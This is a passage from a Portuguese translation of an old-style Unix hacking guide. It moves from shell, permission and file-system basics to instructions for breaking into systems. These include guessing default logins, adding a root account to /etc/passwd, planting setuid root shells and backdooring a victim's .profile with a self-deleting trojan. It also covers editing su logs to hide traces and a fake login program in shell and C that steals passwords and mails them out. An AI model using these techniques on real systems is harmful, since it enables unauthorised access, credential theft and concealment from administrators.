representa o "tty" [disposito de e/s] que o processo esta rodando. Isso e somente usado realmente se voce esta usando layers ou mais de uma pessoa esta conectada com a mesma conta. Agora "ps -f" ira dar a voce uma listagem completa do processo de voce mesmo, assim em vez de ver somente o programa "watch" voce ira ver "watch scythian" kill - mata um processo. E usado para terminar um programa na memoria obiamente. Voce pode somente matar processos proprios [aqueles que voce comecou], a menos que voce seja root, ou seu EUID seja o mesmo que o do processo que voce quer matar. (Vou explicar euid mais tarde). Se voce matar o processo shell, voce sera desconectado. Da mesma forma, se voce matar o processo de alguem, eles serao desconectados tambem. Assim, se eu disse "kill 122" Eu serei desconectado. Entretando, kill apenas envia um sinal para o UNIX dizendo pra ele matar um processo. Se voce usar a sintaxe "kill pid" entao UNIX mata ele quando ele terminar, o que pode ser nunca. Assim, voce pode especificar urgentemente! Tente "kill -num pid" Kill -9 pid e um kill definitivo quase instantaneamente. Assim se eu fizer isso: $ kill 122 $ kill 123 $ ps PID TTY NAME 122 001 ksh 123 001 watch $ kill -9 123 [123]: killed $ kill -9 122 garbage NO CARRIER Tambem, voce pode dar um "kill -1 0" para matar o processo de shell para desconectar-se. Isso sera util nos scripts (explicados mais tardes). ------------------- Programacao em Shell ------------------- Programar em Shell e basicamente fazer um arquivo "script" para o shell padrao, pode ser sh, ksh, csh, ou algo nesse tipo. E como um arquivo batch no MSDOS, mas mais complexo, e mais Flexivel. Primeiro, vamos para as variaveis. Variaveis obviamente podem ter um valor. Que podem ser strings ou numeros. numero=1 Isso vai dar um valor 1 para a variable chamada "numero". string=Hi There ou string="Hi There" Ambas irao dar um valor "Hi there" para a varivel. Usar uma variavel e diferente. Quando voce quiser usar uma variavel voce deve colocar um simbolo dollar ($). Essas variaveis podem ser usadas como argumentos em programas. Quando eu disse que scripts sao como arquivos batch, Eu quis disser isso. Voce pode entrar qualquer nome de um programa em um script, e ele ira executar ele. Aqui vai um script exemplo: counter=1 arg1="-uf" arg2="scythian" ps $arg1 $arg2 echo $counter Esse script ira traduzir para "ps -uf scythian" e depois ira imprimir "1" depois de ter terminado. ECHO mostra algo na tela, ou numerico ou uma string. Outros comandos / Exemplos: read - le algo para uma variavel. formato: read variavel . O sinal de dollar nao e necessario aqui! Se eu quiser pegar o nome de alguem, eu posso fazer: echo "QUal o seu nome?" read hisname echo Ola $hisname QUal o seu nome? Sir Hackalot Ola Sir Hackalot Lembre-se, read pode ler valores numericos tambem. trap - Isso espera alguem usar o comando de interrupcao. (Ctrl-c) formato: trap "commando ; commando ; commando ; etc.." Example: trap "echo 'Noway!! You are not getting rid o me that easy' ; echo 'You gotta see this through!'" Agora, se eu teclar control-c durante o script depois dessa estrutura for executada, eu terei: Noway!! You are not getting rid of me that easy You gotta see this through! exit : formato:exit [num] Isso sai do shell [quits] retornando um valor num de saida. ----- CASE ----- O Case pode ser usado para se fazer menus. O formato do comando ou estrutura e: case variavel in 1) comando; comando;; 2) comando; comando; comando;; *) comando;; esac Cada parte pode ter qualquer numero de comandos. O ultimo comando entretanto tem que ter um ";;". Por exemplo: echo "Escolha:" echo "(D)iretorio (L)ogoff (S)hell" read choice case $choice in D) echo "Listando Diretorios..."; ls -al ;; L) echo Bye; kill -1 0;; S) exit;; *) Echo "Erro! Nao e um comando";; esac O esac marca o fim da funcao case. Ele deve vir depois do ULTIMO comando. Loops ----- Ok, loops. Existem duas funcoes de loop. O loop for e o repeat. repeat funciona assim: repeat algo algo1 algo2 isso ira repetir um secao de seu script para cada "algo". digamos que eu faca isso: repeat scythian sirhack prophet Eu vou ver "scythian" depois sirhack depois prophet na tela. O loop for e definido como "for variavel in algo do .. .. done" exemplo: for counter in 1 2 3 do echo $counter done Ira escrever 1 depois 2 depois 3. Usando TEST ---------- formato: Test variavel optcao variavel As opcoes sao: -eq = -ne <> (diferente) -gt > -lt < -ge >= -le <= para strings e: = para igual != para diferente. Se a condicao e verdadeira, um zero e returnado. Veja: test 3 -eq 3 isso ira fazer um test 3 = 3, e um 0 sera retornado. EXPR ---- Isso e para funcoes numericas. Voce nao pode simplesmete digitar echo 4 + 5 e ter uma resposta. voce deve disser: expr variavel [ou numero] operador variavel2 [ou numero] o operadores sao: + mais - menos * multiplicacao / divisao ^ - exponenciacao (em alguns sistemas) exemplo : expr 4 + 5 var = expr 4 + 5 var deve ter 9. Em alguns sistemas, expr algumas vezes imprime uma formula. Ou seja, 22+12 nao e igual a 22 + 12. Se voce fizer expr 22+12 voce ira ver: 22+12 Agora se for expr 22 + 12 voce vera: 34 VARIAVEIS DO SISTEMA ---------------- Existem variaveis usaddas pelo shell, e sao geralmente mantidas no arquivo .profile [explicao mais tarde]. HOME - lugar do seu diretorio home. PS1 - O prompt que voce tem. geralmente $ . Num BSD e geralmente & PATH - Esse e o caminho de procura por programas. Quando voce digita um programa para ser executado, ele nao esta na memoria; ele deve ser carregado do disco. Muitos comandos nao estao na memoria como no MSDOS. Se um programa esta no caminho de procura, ele sera executado sem problema onde voce esta. Se nao voce tera que esta no diretorio onde ele esta. Um path e um conjunto de diretorios basicamente, separados por um ":". Aqui vai um caminho de procura tipico: :/bin:/etc:/usr/lbin:$HOME: Quando voce tentar executar um program, Unix ira procurar por ele no /bin, /etc, /usr/lbin, e no diretorio home, e se nao for encontrado, um erro aparece. Ele procura em diretorios na ORDEM do path. Assim se voce tem um programa chamado "sh" no seu diretorio home, e digitar "sh", Mesmo estando no seu diretorio home, ele ira executar o que esta no /bin. Assim, voce deve criar seu path sabiamente. Unixes de acesso publico fazem isso para voce, mas alguns sistemas que voce encontrar podem nao ter um path feito. TERM - Esse e seu controle do terminal. UNIX tem uma biblioteca de funcoes chamadas "CURSES" que pode pegar vantagem de qualquer terminal, fornecendo os codigos de escape encontrados. Voce deve ter seu term configurado para algo se voce roda programas orientados por telas. Os codigos/nomes de escape dos terminais sao encontrados em um arquivo chamado TERMCAP. Nao sinta mal quanto a isso. apenas altere seu term para ansi ou vt100. CURSES ira deixar voce saber se ele nao pode manipular sua emulacao de terminal. ------------------- O compilador em C ------------------- Isso sera uma introducao apenas. Porque? Porque se voce quiser aprender C, va comprar um livro. Eu nao tenho tempo para escrever outro arquivo sobre C, por isso ser muito extenso. Basicamente, muitos executaveis sao programados em C. Codigos fontes no unix sao encontrado como arquivo.c . Para compilar algum apenas digite "cc arquivo.c". Nem todos os programas em C irao compilar, uma vez que eles dependem de outros arquivos que nao estao la, ou sao apenas modulos. Se voce ver algo chamado "makefile" entao voce pode geralmente, digitar apenas "makefile" no prompt, e a;go ira ser compilado or tentara ser compilado. Quando usar makefile ou CC, sera muito esperto usar o operando de background uma vez que compilar algumas vezes demora muito tempo. IE: $ cc login.c& [1234] $ (O 1234 for oi o numero do processo que ele ficou identificado). _____________________________________________________________________________ --------------- O sistema de arquivos --------------- Essa e uma parte do UNIX instrumental. Se voce nao entendes essa secao, voce nunca sera capaz de hackear Unix, uma vez que muito do que voce tem que fazer depende disso. Primeiro, vamos comecar a falar sobre a estrutura de diretorio. Ela e basicamente um sistema de arquivos hierarquico, ou seja, ele comeca na raiz e expande-se, como no MSDOS, e possivelmente AmigaDos. Aqui e uma listagem de uma arvore de diretorios: (d) significa diretorio / (root dir) | |--------------------| bin (d) usr (d) ----^-------------------- | | | sirhack(d) scythian (d) prophet (d) | src (d) Agora, esse sistema particular contem os seguintes diretorios: / /bin /usr /usr/sirhack /usr/sirhack/src /usr/scythian /usr/prophet Espero que voce tenha entendido essa parte, e voce deve. Tudo expande a partir do diretorio raiz. o Permissoes de arquivos ------------------ Agora, isso e realmente o barato. Permissoes de arquivos. Nao e muito dificil entender permissoes de arquivos, mas eu irei explicar profundamente de qualquer jeito. OK, agora voce deve entender de grupos de usuarios tao bem como nomes de usuarios, todos pertencem a um grupo. No prompt $, voce pode digitar 'id' para ver quais o grupos que voce pertence. Ok, grupos sao usados para permitir que pessoas acessem certas coisas. ao inves de so ter uma pessoa controlando/tendo acesso para certos arquivos. Lembre-se tambem que o Unix olha o UID de alguem para determinar acesso, nao o nome do usuario. Ok. Permissoes de arquivos nao sao realmente complicados. Cada arquivo tem um dono Esse dono e geralmente aquele que criou o arquivo, ou por copiar um arquivo ou apenas por te-lo editado. O programa CHOWN pode ser usado para alterar o dono de um arquivo. Lembre-se que o dono de um arquivo deve ser aquele que rodou o CHOWN, uma vez que ele e o unico que pode alterar a permissao de um arquivo. Outra coisa, existe um dono do grupo, que e basicamente o grupo que voce esta quando o arquivo foi criado. Voce pode usar chgrp para mudar o grupo de um arquivo. Agora, arquivos podem ter permissoes de serem executados, permissoes de leitura, ou permissao de escrita. Se voce tiver permissao de execucao, voce sabe que voce pode simplesmente escreve o nome do programa na linha de comando, e ele sera executado. Se voce tiver permissao de leitura de um arquivo, voce pode, obviamente, ler o arquivo, ou fazer algo que lei o arquivo, tal como copiar o arquivo. Se voce nao tiver acesso a um arquivo, voce nao pode fazer nada que requeira ler o arquivo. Essa e a mesma coisa com a permissao de arquivo. Agora todas as permissoes sao arranjada em 3 grupos. O Primeiro e a permissao do dono. Ele pode ter as permissoes configuradas para si proprio para ler e executar, mas nao escrever no aruqivo. Isso para impedir que o dono apague o arquivo. O segundo grupo e a permissao do grupo. Pegue uma entrada de arquivos para ter um exemplo: $ ls -l runme r-xrwxr-- sirhack root 10990 March 21 runme ok. Agora, o "root" e o grupo onde o arquivo esta. "sirhack" e o dono. Agora, se o grupo chamado 'root' tem acesso para ler, escrever e executar, eles podem fazer isso. Veja .. Scythian veio atras do arquivo, ele esta no grupo chamado root. Ele pode ler, escrever ou executar o arquivo. Agora, o datawiz veio atras do arquivo tambem, mas ele esta no grupo "users". A permissao de grupo nao pode ser aplicada para ele, significando que ele nao tem permissioes, assim ele nao pode tocar no arquivo, certo? so he couldn't touch Errado. Existe um terceiro grupo de permissoes, e esse e o "outros" grupos. Isso significa que as permissoes em "outros" grupos aplicam-se para todos alem dos dono e dos usuarios do mesmo grupo do arquivo. Olhe na entrada de diretorio ao lado. O r-x-rwxr-- e a lina de permissoes Os primeiros 3 caracteres sao as permissoes para o dono (r-x). O "r-x" traduz-se para "permissao de ler e executar, mas sem escrever" o segundo conjundo do 3, r-xRWXr-- (aqueles em maisculas) sao as permissoes de grupos. Significa que "leitura, gravacao e execucao sao permitidas" O 3º conjunto, r-xrwxR-- e a permissao para os todos os outros . Isso significa "somente a leitura e permitida". Um diretorio pode parecer como isso: $ ls -l drwxr-xr-x sirhack root 342 March 11 src Um diretorio tem um "d" no inicio da linhas de permissoes. Agora, o dono do diretorio (sirhack) pode ler do diretorio, escrever no diretorio e executar programas do diretorio. O grupo do root e todos os outros podem apenas ler a partir no diretorio, e executar programas no diretorio. Assim, se eu mudei o diretorio para ser executavel apenas, isso e como ele sera: $ chmod go-r $ ls drwx--x--x sirhack root 342 March 11 src Agora, se alguem esta nesse diretorio, ele podem somente executar programas do diretorio. Se ele fizerem um "ls" para pegar uma listagem de arquivos do src, ira aparecer "cannot read directory". Se ha uma arquivo que pode ser lido no diretorio, mas o diretorio nao pode ser lido, e quase impossivel ler o arquivo, a menos que voce saiba o nome do arquivo. Se voce nao tem permissao para executar em um diretorio, voce nao sera capaz de executar algo no diretorio. _____________________________________________________________________________ -------------- Hackeando: -------------- O primeiro passo em hackear o UNIX e entrar no sistema operacional encontrando um conta valida/senha. O objetivo de hackear e geralmente ser o root (privilegio total), assim se voce e sortudo o suficiente para saber ser o root, voce nao precisa mais ler nada desse arquivo, e pode passar para secao "Divertindo-se". Hackear pode ser simplesmente pegar contas de outras pessoas. Entrando ---------- A primeira coisa a fazer e entrar no Unix. Ou seja, passar do prompt de login. Essa e a primeira coisa. Quando voce entra em um UNIX, algumas vezes ele ira identificar a si proprio dissendo o seguinte, "LeBeau INC. et al Company UNIX" ou apenas "LeBeau Inc. Please login" Aqui e onde voce tentara as contas padrao que eu mostrei. Se voce entrar com aquele, voce pode tentar fazer o mais avancado ato de hackers (ser o root). Se voce faz algo errado no login, voce tera a messagem "login incorrect" Isso foi feito para confundir os hackers, ou manter a maravilha. Porque? Bem, voce nao sabe se voce entrou uma conta que nao existe, ou uma que existe e errou a senha. Se voce der um login e ele disser "Not on Console", voce tem um problema. Voce tera que dar um login como alguem mais, e usar SU para ser o root. Agora, isso e onde voce tem que pensar (Como diz meu professor, perder a virgindade do cerebro). Se voce nao entrar com um default, voce esta obviamente indo ter que encontrar alguma coisa a mais para dar um login. Alguns sistema tem uma boa forma de fazer isso permitindo o uso de logins de comando. Sao os que simplesmente executar um comando, depois dao um logoff. Entretando, os comandos que eles executas sao geralmente muito uteis. Por exemplo, existem 3 comandos muitos comuns que mostras que esta conectado naquele momento. Eles sao: who rwho finger Se voce conseguir fazer um desses funcionar, voce pode tentar os nomes dos usuarios que estao conectados. Muitos de usuarios usam o nome da conta como senha. Exemplo o "bob" pode ter uma senha "bob" ou "bob1". Isso, como voce sabe, nao e esperto, mas eles nao esperam que um hacker venha tentar fazer isso com eles. Eles somente querem ser capazer de entrar rapidamente. Se um login de comando nao existe, ou nao e util, voce pode ficar com a cabeca quente. Uma boa coisa para tentar e usar o nome do unix que ele esta identificado. Por Exemplo, o Unix da LeBeau INC pode ter uma conta chamada "lebeau" LeBeau, INC. Please Login. login: lebeau UNIX SYSTEM V REL 3.2 (c)1984 AT&T.. .. .. .. Alguns unixes tem uma conta aberta chamada "test". Isso tambem e um padrao, mas isso e surpreendemente suficiente, ele algumas vezes deixado aberto. E bom tentar usar ele. Lembre-se, cabeca quente e a chave para um unix que nao tem aparentemente nenhum padrao aberto. Pense nas coisas que podem ter relacao com esse Unix. Digite coisas tipo "info", "password", "dial", "bbs" e outras cositas mas que podem pertencer ao sistemas "att" esta presente em algumas maquinas tambem. UMA VEZ DENTRO -- ARQUIVOS ESPECIAIS ---------------------------- Existem muitos arquivos que sao muito importantes para o ambiente do UNIX. Sao as que seguem: /etc/passwd - Essa e provavelmente o arquivo mais importante no UNIX, porque? bem, basicamente, ele possui as contas validas/senhas. Isso e importante uma vez que apenas aquelas listado no passwd podese dar login, e algumas delas nao pode-se (vou explicar). The format for the passwordfile is this: nome:senha:UserID:GroupID:descricao(ou nome real):homedir:shell Aqui estao duas entradas de exemplo: sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh Na primeira linha, sirhack e um usuarui valido. O segundo campo, entretando, e suposto para ser uma senha, certo? Bem, ela e, mas estas encripatada com o algoritmo de encriptacao da DES. a parte que diz "&a,Ty" pode incluir um data depois da virgula (Ty) que fala ao unix quando a senha expira. Sim, a data esta encriptada em dois caracteres alfanumericos (Ty). No segundo exemplo, a conta demo nao tem senha. Assim no Login, voce pode digitar: login: demo UNIX system V (c)1984 AT&T .. .. Mas com sirhack, voce tem que entrar uma senha. Agora,o arquivo de senhas e grande, muitas vezes, voce sera capaz de navegar atraves dele olhando por contas sem senhas. Lembre-se que algumas contas podem ser restritas de se logar com elas, exemplo: bin:*:2:2:binaccount:/bin:/bin/sh O '*' significa que nao pode dar um login com ele. Sua unica finalidade sera rodar um shell SUID shell (explicado mais tarde). Um nota sobre a encriptacao DES: cada unix faz a sua propria "palavra chave" como base de sua encriptacao. Muitas vezes e somente letras aleatorias e numeros. Sao escolhidas na instalacao pelo sistema operacional. Agora, decripitar coisas encriptadas com DES nao e facil. E quase impossivel. Especialmente decriptar o arquivo de senhas (decriptar o campo com a senhas no arquivo de senhas para se exato). Nunca acredite em um hacker que diz que decriptou um arquivo de senhas. Ele provavelmente esta mentindo. As Senhas nunca sao decriptados no unix, mas ao contrario, uma chamada ao sistema e feita para uma funcao chamada "crypt" de dentro da linguagem C, e a string que voce entrou como a senhas fica encriptada, e comparada com a senhas encriptada. Se elas combinas, voce esta dentro. Agora, existem hackers de senhas, mas eles nao decriptas o arquivo de senhas, mas ao contrario, encriptam palavras de um dicionario e testam elas em cada conta (criptografando/comparando) ante que ele encontra uma igualdade. Lembre-se, poucos, talvez ninguem, conseguiram decriptar o arquivo de senhas com sucesso. /etc/group - Esse arquivo contem os grupos validos. O arquivo de grupos e geralmente definido como esse: grupo:senha:groupid:usuarios no grupo De novo, as senhas sao encriptadas aqui tambem. Se voce ve uma senhas em branco voce podera ser parte daquele grupo usando o comando "newgrp". Agora, existem casos em que alguns grupos sem senhas irao apenas permitir certos tipos de usuarios entrem naquele grupo via o comando newgrp Geralmente, se o ultimo campo e deixado em branco, isso significa que qualquer usuario pode usar newgrp para ter o acesso ao grupo. De outra forma, apenas os usuarios especificado no ultimo campo podem entrar no grupo por newgrp. Newgrp e apenas um programa que ira muidar seu grupo atual por aquele que voce especificar. A sintaxe e: newgrp grupo Agora, se voce encontrar um crupo sem senha e usar newgrp para entra nele, e ele pedir uma senha, voce nao esta permitido de usar o grupo. Eu explicarei melhor isso na secao "SU & Newgrp". /etc/hosts - Esse arquivo contem uma lista de host que o UNIX esta conectado atrave de uma rede de hardware (tipo um elo x.25 ou algo assim), ou as vezes por UUCP. Esse e um bom arquivo quando voce esta hackeando uma rede enorme, uma vez que ele mostra a voce sistemas que voce pode usar com rsh (Shell Remote, nao restrito shell), rlogin, e telnet, tao bem como outros programas de elo de ethernet/x.25. /usr/adm/sulog (or su_log) - O arquio sulog (ou su_log) pode ser encontrado em muitos diretorios, mas ele e geralmente no /usr/adm. Esse arquivo e o que ele parece. E um arquivo de log, para o programa SU. O que ele faz e manter um registro de quem usa SU e quando. quando voce usar o SU, a melhor coisa a fazer e editar esse arquivo se possivel, e eu vou falar como e porque na secao sobre usar "su". /usr/adm/loginlog ou /usr/adm/acct/loginlog - Esse um arquivo de log, mantendo o traco dos logins. Sua atuacao e meramenta para controle de contas e "revisao de seguranca". Realmente, algumas vezes esse arquivo nunca e encontrado, uma vez que muitos sistemas mantem o o log das contas desligado. /usr/adm/errlog ou errlog - Esse e log de erro. Ele pode ser localizado em qualquer lugar. Ele tem os tracos de todos os erros serios e as vezes nem tao serios erros. Geralmente, ele ira conter um codigo de erro, depois uma situacao. o codigo de erro varia de 1 a 10, quanto maior, pior o erro. Erro de codigo 6 e geralmente usada quando voce tenta hackear. "login" loga sua tentativa no errlog com codigo de erro 6. Codigo de erro 10 significa "SYSTEM CRASH". /usr/adm/culog - Esse arquivo contem entradas que mostram quando voce usou cu, onde voce chamou e outras coisas. Outra negocio de seguranca. /usr/mail/ - Esse e onde o programa "mail" armazena o mail. para ler uma caixa de correio particular, voce tem que ser esse usuario, no grupo de usuarios "mail" ou root. cada caixa de correio e apenas um nome. Exemplo, se minha conta e "sirhack" meu arquivo de email deve se,geralmente: /usr/mail/sirhack /usr/lib/cron/crontabs - Esse contem as instrucoes para o cron, geralmente. Veremos isso mais tarde. /etc/shadow - Um arquivo de senhas "escondidas", falarei sobre isso mais tarde. -- A conta BIN -- Bem, nesse momento, eu gostaria de pegar um espaco para falar sobre a conta "bin". Mesmo que ela seja uma conta com nivel de usuario, ele e muito poderosa. Ela e dona de quase todos os arquivos, e em muitos sistemas, ela possui /etc/passwd, o arquivo mais importante no unix. Olhe, a conta bin possui muitos dos arquivos binarios (bin), assim como os outros arquivos usados pelos arquivos binarios, tal como o login. Agora, sabendo o que voce ja sabe sobre permissoes de arquivo, se o bin possui o arquivo passwd, voce pode editar passwd e acrescentar uma entrada de root para si proprio. Voce pode fazer isso pelo comando edit: $ ed passwd 10999 [O tamanho do passwd varia] * a sirhak::0:0:Mr. Hackalot:/:/bin/sh {control-d} * w * q $ Entao, voce diz: exec login, entao voce pode dar login como sirhack e voce sera root. /\/\/\/\/\/\/\/\/ Hackeando........ /\/\/\/\/\/\/\/\/ -------------- Acrescentando contas -------------- Existem outros programas que irao acrescentar usuarios no usuario, alem do ed. Mas muitos desses programas nao irao permitir um usuario com nivel de root seja acrescentado, ou algo menos que uma UID de 100. Um desses programas e chamado "adduser". Agora, a razao que eu fiz essa pequena secao, e para aqueles que querem usar o unix para algo util. Digamos que voce queira um "endereco de correspondencia". Se o unix tem uucp nele, ou se e um grande colecio, as chances sao que ele ira fazer transferencias de email. Voce tera que testar o unix tentando enviar email para um amigo em algum lugar, ou apenas enviando um email para si proprio. Se o programa de email e identificado como "smail" quando voce manda uma carta a si proprio (o nome do programa ira aparecer na messagem) isso provavelmente significa que o sistema ira enviar correio UUCP. Essa e uma boa forma para manter contato com alguem. Agora, isso e porque voce precisa de uma conta semi-permanente. O modo de arquivar isso e acrescentando uma conta similar a aquelas que existem no sistema. Se todas as contas com nivel de usuario (UID >= 100) sao abreviacoes com tres letras, tipo "ogb" para O Gato Bill, ou "brs" para bill ryan smith, acrescente uma conta via adduser, e faca um nome tipo sally jane marshall ou algo assim, (eles nao espera que hackers ponham nomes femininos) e tenha uma conta chamada sjm. Veja, na descricao da conta (tipo Mr. Hackalot acima), e la onde o nome real e geralmente armazenado. Assim, sjm ira ficar assim: sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh E claro que voce ira colocar uma senhas nessa senhas, certo? Tambem, id de grupos nao tem que ser acima de 100, mas voce pode por a conta em uma que exista. Agora, uma vez que deu um login com essa conta, a primeira coisa que voce fara e executar "passwd" para por uma senha. Se voce nao o fizer, provavelmente outra pessoa o fara para voce. ------------------- Mudar o ID do usuario ------------------- Esse provavelmente um dos esquemas mais usados. Alterando uma "UID- Shell". O que isso significa? Bem, isso basicamente significa que voce esta mudando bit do usuario em um programa. O programas mais usado e um shell (csh,sh, ksh, etc). Porque? Pense sobre isso: Voce tera acesso a tudo que o dono do arquivo tem. Um shell UID altera o id do usuario de uma pessoa que o executa. Assim, se um root possui um shell de uid, entao voce sera root quando voce o rodar. Esse e uma alternativa para se tornar root. Digamos que voce entrou e modificou o arquivo de senhas e deixou a conta root sem senha, assim voce pode pegar ela. E claro, voce tera que pegar logo essa conta senao isso sera descoberto eventualmente. Assim, o que voce fazer e pegar uma conta de usuario normal para si proprio, e depois, fazer um shell uid. Geralmente voce pode usar /bin/sh para isso. Depois de acrescentar um usuario regular para o arquivo passwd, e mudar/verificar seu diretorio home. voce pode fazer algo como isso: (assumindo que voce pegou a conta: shk) # cp /bin/sh /usr/shk/runme # chmod a+s /usr/shk/runme Isso e tudo o que voce tem que fazer. Quando voce conectar como shk, voce podera fazer isso: $ runme # Viu? Voce sera o root. Aqui esta uma coisa a fazer: $ id uid=104(shk) gid=50(user) $ runme # id uid=104(shk) gid=50(user) euid=0(root) # O euid e o Id do usuario "efetivo" user ID. shells de UID apenas mudam o efetivo user id, nao o real id de usuario. Mas, o id de usuario efetivo sobrepoem o id de usuario real. Agora, voce pode, se voce quiser pode usar outros programas para fazer isso. O que eu quero disser? Por exemplo, faca do 'ls' um shell do root. : # chmod a+s /bin/ls # exit $ ls -l /usr/fred .. ...... etc crap Ls sera entao capaz de espiar qualquer diretorio. Se voce fizer o mesmo para "cat" voce podera ver qualquer arquivo, se voce fizer isso com rm, voce podera apagar qualquer arquivo. Se voce fizer isso com 'ed', voce pode editar qualquer arquivo em qualquer lugar do sistema (geralmente). Como eu me torno root? ------------------ Boa pergunta. Para fazer um programa alterar a id do shell do usuario para root, voce tem que ser root, a menos que voce tenha sorte. Como assim? Bem, digamos que voce encontre um programa que mudar o id do usuario para root. Se voce tiver acesso para escrever aquele arquivo, o que entao? voce podera copiar sobre ele, mas continuar o bit de uid inalterado. Assim, digamos que voce viu que o programa chsh esta mudando o id de usuario para root. Entao voce podera copiar o /bin/sh sobre ele. $ ls -l rwsrwsrws root other 10999 Jan 4 chsh $ cp /bin/sh chsh $ chsh # Viu? Isso e apenas um modo. Existem outras, que eu vou falar agora. Mais modos de alterar o UID ----------------------- Agora, a forma generica de fazer um programa alterar o bit de Id do usuario e usar esse comando: chmod a+s file Onde 'file' e um arquivo valido existente. Agora, apenas que tem o arquivo pode alter o bit de Id do usuario. Lembre-se, qualquer coisa que VOCE cria, VOCE e o dono, assim se voce copiar o /bin/sh, assim se voce copia o /bin/sh, aquela conta que voce esta conectado e o dono do arquivo, ou se o UID e alterado para outra pessoa, o novo UID e o dono do arquivo. Isso me leva ate permissoes de arquivo RUINS. II. HACKEANDO : Permissoes de arquivos ruins Agora, o que eu quero dissero com permissoes de arquivo ruins? Bem, procures arquivos que VOCE possa escrever, e acima de tudo, DIRETORIOS que voce possa escrever. Se voce tiver permissao de escrever em um arquivo, voce pode modifica-lo. Agora, isso chega na hora quando se quer roubar o acesso de alguem. Se voce pode escrever para o arquivo .profile do usuario, voce esta no negocio. Voce pode fazer com que .profile do usuario crie um shell suid para voce rodar quando voce conectar depois do usuario. Se o .profile pode ser escrito por voce, voce pode fazer isso: $ ed .profile [algum numero ira estar aqui] ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme (control-d) ? w [new filesize will be shown] ? q $ Agora, quando o usuario conectar de novo, o .profile ira criar .runme que ira alterar o seu ID para o do usuario que voce alterou o arquivo. Depois voce ira voltar e apagar aqueleas linhas depois que o suid foi criado, e voce ira copiar o suid para outro lugar e apagar aquele no diretorio do usuario. O .runme nao ira aparecer na listagem de diretorios normal, ira apenas aparecer se ele fizer "ls -a" (ou ls com uma combinacao de -a), porque, o '.' deixa um arquivo escondido. O codigo abaixo e um CAVALO DE TROIA, que e um dos mais usado/abusado metodo de ganhar mais poder no unix. O codigo pode ser feito em C via comando system(), ou apenas usando open(), chmod(), etc. * Lembre-se para ver se o .profile do root pode ser escrito* * ele esta localizado no /.profile (usualmente) * A melhor coisa que pode acontecer e encontrar um diretorio de usuario que pode ser escrito por voce. Poqeu? Bem, voce pode trocar todos os arquivos no diretorio por seu scripts ou Cavalos de Troia em C. Mesmo que um arquivo nao possa ser escrito por voce, voce pode apagar ele ou sobrescrever ele. Se voce pode ler varios arquivo, tal como o .profile do usuario, voce pode fazer um Cavalo de Troia que se alto apaga, como o seguinte: $ cp .profile temp.pro $ ed .profile 1234 ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme mv temp.pro .profile (control-d) ? w [outro numero] ? q $ chown aquele_usuario temp.pro O que aconteceu e que voce fez uma copia do .profile antes de voce mudar ele. Entao, voce mudou o original. Quando ele roda isso, os passos sao feitos entao a versao original e posta sobre a original, assim se o idiota olha no .profile, ele nao vera nada fora do normal, exceto que ele pode ver que a data e mais recente, mas muitos usuarios nao sao paranoicos o suficiente para fazer checagens extensivas nos seus arquivos, exceto arquivos do sysadm (tal como o passwd). Agora, lembre-se mesmo tendo permissao de escrever para um dir, voce pode nao ser capaz de escrever para um arquivo sem apagar ele. Se voce nao tiver permissao para escrever naquele arquivo, voce tera que apagar ele e escrever algo nele (ponha um arquivo com o mesmo nome la). A coisa mais importante a lembrar e que se voce deletar o .profile voce tera que MUDAR o DONO do arquivo depois de voce fazer um novo (hehe) para aquele usuario. Ele pode facilmente perceber que o arquivo .profile foi alterado e ele vai saber que fez isso. SIM, voce pode mudar o dono para alguem mais alem de voce e o dono original (como para manter o dono sem suspeitas de voce). Voce pode facilmente mudar os arquivos cron se voce pode escrever neles. Eu nao estou indo entrar em detalhes sobre formatos de arquivos cron aqui, apenas encontre o arquivo crontab e modifique ele para criar um shell em qualquer lugar como root, e mudar o id do usuario. III. Cavalos de Troia em terminais. Basicamente isso: Voce pode enviar lixo para a tela do usuario e mexer com ele tao mal para forcar que ele faca um logoff, criando uma conta vazia. Entao voce pode executar um cavalo de troia naquele terminal no lugar do login ou alguma coisa, assim o proximo que chamar irar pegar o Cavalo de troia. Isso geralmente tem a forma de um falso login. Depois escreve o nome da conta/senha digitadas para o disco. Agora, existem outros cavalos de troia disponiveis para voce escrever. Agora, nao pense em um virus, porque eles nao funcionam se o root nao o executa. De qualquer modo um Cavalo de Troia comum e uma script que pede a senha e as envia pelo email para voce. Agora, voce pode trocar o codigo para o cavalo auto destrutivo com um dissendo algo assim: echo "login: \c" read lgin echo off (funciona em alguns sistemas) (se o de cima nao funcionar...: stty -noecho) echo "Password:\c" read pw echo on echo "Login: $lgin - Pword: $pw" | mail you Agora, o melhor modo de usar isso e por isso em um script seperado assim ele pode ser deletado como parte do Cavalo de Troia auto destrutivo . Outra modificacao que pode ser feita, removendo o "login: " e deixando o Password, isso pode ficar parecido com o SU, assim voce pode pegar a senha do root. Mas tenha certeza que o programa apaga a si proprio. Aqui esta um exemplo de login cavalo de troia em C: #include /* Get the necessary defs.. */ main() { char *name[80]; char *pw[20]; FILE *strm; printf("login: "); gets(name); pw = getpass("Password:"); strm = fopen("/WhereEver/Whateverfile","a"); fprintf(strm,"User: (%s), PW [%s]\n",name,pw); fclose(strm); /* ponha algum tipo de erro embaixo... */ printf("Bus Error - Core Dumped\n"); exit(1); } O programa pede o login e a senha, e coloca isso em um arquivo (/wherever/whateverfile), e cria o arquivo se ele puder, e se nao tiver nada ali. Isso e apenas um exemplo. Anunciamento de rede vem depois. IV. Sistemas diferentes Existem sistemas qe voce conecta sem problemas, e encontra algum menu, banco de dados, ou processador de textos como seu shell, sem jeito de usar o interpretador de comandos (sh, ksh, etc..). Nao desiste aqui. Alguns sistemas irao permitir que voce conecte como root, mas dar um menu que ira permitir a voce acrescente uma conta. Entretando, alguns daqueles que fazem iso geralmente tem algum software comprado rodando, e as pessoas que fazem o software SABEM que as pessoas que compraram isso sao idiotas, e a coisa ira algumas vezes apenas permitir que voce acrescente contas com id de usuario 100 ou maior, com o menu como shell. Voce provavelmente nao pegara um shell, o programa ira provavelmente continuar na tela do usuario que voce criou, o que e muito limitado. Entretando, algumas vezes voce pode editar contas, e isso ira listar contas que voce pode editar na tela. ENTRETANTO, esses programas geralmente apenas listas aquele com UIDS > 100 assim voce nao pode editar as contas boas, entretando, eles nao impedem que voce deixe uma conta com um UID < 100. A "edicao" geralmente apenas envolve mudar a senha da conta. Se uma conta tem um * para uma senhas, o programa que muda as senhas, ira dizer que nenhuma senha existe, e ira 